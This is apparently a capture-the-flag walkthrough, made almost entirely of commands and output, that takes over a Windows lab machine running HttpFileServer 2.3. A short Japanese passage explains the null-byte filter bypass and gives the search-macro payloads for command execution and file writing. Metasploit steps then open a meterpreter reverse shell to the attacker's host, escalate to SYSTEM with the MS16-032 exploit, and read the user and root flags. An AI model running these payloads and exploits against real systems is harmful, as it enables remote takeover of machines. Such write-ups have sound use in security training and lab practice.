nmap -Pn -p 80 -sV -sC --max-retries 2 10.129.83.249

PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

curl -s -i http://10.129.83.249/

HTTP/1.1 200 OK
Content-Type: text/html
Server: HFS 2.3
Set-Cookie: HFS_SID=0.343190514715388; path=/;

<title>HFS /</title>
...
<a href="http://www.rejetto.com/hfs/">HttpFileServer 2.3</a>

HFS 2.3 は "search" パラメータの処理に ParserLib.pas の甘い正規表現フィルタを
使っており、検索文字列中に直接 ".exec" 等の危険なキーワードが含まれる場合は
弾くが、文字列先頭に URLエンコードされた NULLバイト(%00)を1つ付与するだけで
このフィルタを回避できる。フィルタ通過後、HFSのテンプレートエンジンは
{.コマンド|引数.} というマクロ構文をVFS(仮想ファイルシステム)の一部として
評価してしまうため、"exec" マクロで任意のシェルコマンドを、"save" マクロで
任意のファイル書き込みを実現できる。

  /?search=%00{.exec|CMD.}              ← CMDをサーバー上で実行(出力は返らない)
  /?search=%00{.save|PATH|CONTENT.}     ← CONTENTをPATHへ書き込み

use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.129.83.249
set TARGETURI /
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.15.200
set LPORT 4521
exploit -j

[*] Started reverse TCP handler on 10.10.15.200:4521
[*] Using URL: http://10.10.15.200:8080/unEdw6k0S
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /unEdw6k0S
[*] Sending stage (190534 bytes) to 10.129.83.249
[!] Tried to delete %TEMP%\UYMDJZKZ.vbs, unknown result
[*] Meterpreter session 1 opened (10.10.15.200:4521 -> 10.129.83.249:49183)
[*] Server stopped.

sessions -l

  Id  Name  Type                     Information
  --  ----  ----                     -----------
  1         meterpreter x86/windows  OPTIMUM\kostas @ OPTIMUM

framework.sessions.get(1).fs.file.open('C:\Users\kostas\Desktop\user.txt').read

4bda69bc0e70d8d0b60251d8528bf4ae

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.15.200
set LPORT 4522
exploit -j

[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\...ps1...
[*] Executing exploit script...
	 __ __ ___ ___   ___     ___ ___ ___
	|  V  |  _|_  | |  _|___|   |_  |_  |
	|     |_  |_| |_| . |___| | |_  |  _|
	|_|_|_|___|_____|___|   |___|___|___|
	               [by b33f -> @FuzzySec]

[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Thread belongs to: svchost
[+] Thread suspended
[>] Building SYSTEM impersonation token
[!] NtImpersonateThread failed, exiting..
[+] Thread resumed!

[*] Sniffing out SYSTEM shell..
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

[+] Executed on target machine.
[*] Meterpreter session 2 opened (10.10.15.200:4522 -> 10.129.83.249:49184)

sessions -l

  Id  Name  Type                     Information
  --  ----  ----                     -----------
  1         meterpreter x86/windows  OPTIMUM\kostas @ OPTIMUM
  2         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ OPTIMUM

framework.sessions.get(2).fs.file.open('C:\Users\Administrator\Desktop\root.txt').read

b99eed2af48d496cbb4ab6abbfe9cba3